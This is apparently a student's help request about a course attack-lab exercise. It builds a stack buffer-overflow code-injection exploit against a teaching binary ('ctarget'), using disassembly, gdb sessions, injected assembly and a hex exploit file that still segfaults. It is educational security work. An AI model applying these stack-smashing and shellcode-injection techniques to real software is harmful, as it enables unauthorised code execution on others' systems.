I need getbuf()
to call touch2()
with the correct parameter through a buffer overflow exploit. I will replace the parameter through exploit code -- placing instructions on the stack that places the value of cookie
into the %rdi
register.
getbuf()
looks like this...
4 int getbuf() {
6 char buf[BUFFER_SIZE];
7 Gets(buf);
8 return 1;
9 }
touch2()
looks like this...
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
I know the value of cookie is: Cookie: 0x54756825
I have a program called hex2raw
that reads in a text file containing hex characters and converts them to raw binary data. Therefore I can run the attack through the following command: ./hex2raw < exploit.txt | ./ctarget
Where ctarget
is the main program.
The assembly code for getbuf()
looks like this...
000000000040194a <getbuf>:
40194a: 48 83 ec 38 sub $0x38,%rsp
40194e: 48 89 e7 mov %rsp,%rdi
401951: e8 8a 02 00 00 callq 401be0 <Gets>
401956: b8 01 00 00 00 mov $0x1,%eax
40195b: 48 83 c4 38 add $0x38,%rsp
40195f: c3 retq
I know that the size of the stack frame is 0x38
so inside my exploit.txt
file I could have something like:
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
/* at this point there is no seg fault */
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
60 19 40 00 00 00 00 00 /* 8 bytes address */
...and this will result in getbuf()
returning to the function at address 401960
.
However, I need to do much more than that. The general process for my exploit is like so:
- overflow buffer
- place address in return address space that is directly above the stack frame (check out page 9 here)
- place raw binary instructions above the return address space -- such that the program counter is now pointing to my exploit code on the stack
I already know how to cause getbuf()
to return to a different function (in the above exploit code). So now I need to overflow the buffer and place the address of the 8 bytes directly above the return address space into the return address space.
I can do that by simply adding 8 bytes to the address pointed to by the %rsp
register at the beginning of getbuf()
. I can find this value through gdb...
(gdb) b *0x40194a
Breakpoint 1 at 0x40194a: file buf.c, line 12.
(gdb) r
Starting program: /home/kmwe236/CS485/prog3/target26/ctarget
Cookie: 0x54756825
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) x/x ($rsp)
0x556387f0: 0x00401b16
So the address placed in the return address space should be 0x556387f8
.
Next I need to add the assembly code, so I compile the following code and then use objdump
to view the hex values...
movq $0x0000000054756825, %rdi
movq $0x000000000040198c, 0x0000000055638800 ; move the address of `touch2()` into a place on the stack
movq $0x0000000055638800, %rbp ; move that address place into the tbp register -- used for the retq instruction
retq
Compile...
kmwe236@kmwe236:~/CS485/prog3/target26$ gcc -c level2.s
kmwe236@kmwe236:~/CS485/prog3/target26$ objdump -d level2.o > level2.txt
kmwe236@kmwe236:~/CS485/prog3/target26$ cat level2.txt
level2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 25 68 75 54 mov $0x54756825,%rdi
7: 48 c7 04 25 00 88 63 movq $0x40198c,0x55638800
e: 55 8c 19 40 00
13: 48 c7 c5 00 88 63 55 mov $0x55638800,%rbp
1a: c3 retq
Finally it's time to construct the exploit.txt
file... so here's what I have... (note comments are allowed)
kmwe236@kmwe236:~/CS485/prog3/target26$ cat exploit2.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
f8 87 63 55 00 00 00 00 /* 8 bytes address */
54 75 68 25 c7 c7 48 00 /* begin instructions */
63 88 00 25 04 c7 48 00
00 40 19 8c 55 00 00 00
55 63 88 00 c5 c7 48 00
c3 00 00 00 00 00 00 00
This causes a seg fault. I'm missing something small I know it.
I tried using GDB to find out exactly where it seg faults. The program asks me to enter a string, so I converted the raw data into a ASCII string like so...
kmwe236@kmwe236:~/CS485/prog3/target26$ ./hex2raw < exploit2.txt > temp
kmwe236@kmwe236:~/CS485/prog3/target26$ base64 < temp > temp.txt
kmwe236@kmwe236:~/CS485/prog3/target26$ cat temp.txt
AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4
h2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
I'm guessing there's a \n
in there, so the actual string is AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4\nh2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
So then I ran GDB like so... it seg fault after the retq
instruction in getbuf()
as if the address literally 8 bytes above is an illegal place?
(gdb) r
Starting program: /home/kmwe236/CS485/prog3/target26/ctarget
Cookie: 0x54756825
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) nexti
14 in buf.c
(gdb) nexti
0x0000000000401951 14 in buf.c
(gdb) nexti
Type string:AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4\nh2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
16 in buf.c
(gdb) nexti
0x000000000040195b 16 in buf.c
(gdb) nexti
0x000000000040195f 16 in buf.c
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0x000000000040195f in getbuf () at buf.c:16
16 in buf.c
Asking GDB where
gives me this...
(gdb) where
#0 0x000000000040195f in getbuf () at buf.c:16
#1 0x4141414141414141 in ?? ()
#2 0x4141414141414141 in ?? ()
#3 0x32686e5c34444141 in ?? ()
#4 0x464141414141564e in ?? ()
#5 0x3078485843613152 in ?? ()
#6 0x514a416734594167 in ?? ()
#7 0x4251414141534854 in ?? ()
#8 0x4641414151564d6d in ?? ()
#9 0x3078464441696a56 in ?? ()
#10 0x4141414177774167 in ?? ()
#11 0xf4004b4141414141 in ?? ()
#12 0xf4f4f4f4f4f4f4f4 in ?? ()
#13 0xf4f4f4f4f4f4f4f4 in ?? ()
#14 0xf4f4f4f4f4f4f4f4 in ?? ()
#15 0xf4f4f4f4f4f4f4f4 in ?? ()
#16 0xf4f4f4f4f4f4f4f4 in ?? ()
#17 0xf4f4f4f4f4f4f4f4 in ?? ()
#18 0xf4f4f4f4f4f4f4f4 in ?? ()
#19 0xf4f4f4f4f4f4f4f4 in ?? ()
#20 0xf4f4f4f4f4f4f4f4 in ?? ()
#21 0xf4f4f4f4f4f4f4f4 in ?? ()
#22 0xf4f4f4f4f4f4f4f4 in ?? ()
#23 0xf4f4f4f4f4f4f4f4 in ?? ()
#24 0xf4f4f4f4f4f4f4f4 in ?? ()
#25 0xf4f4f4f4f4f4f4f4 in ?? ()
#26 0xf4f4f4f4f4f4f4f4 in ?? ()
#27 0xf4f4f4f4f4f4f4f4 in ?? ()
#28 0xf4f4f4f4f4f4f4f4 in ?? ()
#29 0xf4f4f4f4f4f4f4f4 in ?? ()
#30 0xf4f4f4f4f4f4f4f4 in ?? ()
#31 0xf4f4f4f4f4f4f4f4 in ?? ()
#32 0xf4f4f4f4f4f4f4f4 in ?? ()
#33 0xf4f4f4f4f4f4f4f4 in ?? ()
#34 0xf4f4f4f4f4f4f4f4 in ?? ()
#35 0xf4f4f4f4f4f4f4f4 in ?? ()
#36 0xf4f4f4f4f4f4f4f4 in ?? ()
#37 0xf4f4f4f4f4f4f4f4 in ?? ()
#38 0xf4f4f4f4f4f4f4f4 in ?? ()
#39 0xf4f4f4f4f4f4f4f4 in ?? ()
#40 0xf4f4f4f4f4f4f4f4 in ?? ()
#41 0xf4f4f4f4f4f4f4f4 in ?? ()
#42 0xf4f4f4f4f4f4f4f4 in ?? ()
#43 0xf4f4f4f4f4f4f4f4 in ?? ()
#44 0xf4f4f4f4f4f4f4f4 in ?? ()
#45 0xf4f4f4f4f4f4f4f4 in ?? ()
#46 0xf4f4f4f4f4f4f4f4 in ?? ()
#47 0xf4f4f4f4f4f4f4f4 in ?? ()
#48 0xf4f4f4f4f4f4f4f4 in ?? ()
#49 0xf4f4f4f4f4f4f4f4 in ?? ()
#50 0xf4f4f4f4f4f4f4f4 in ?? ()
#51 0xf4f4f4f4f4f4f4f4 in ?? ()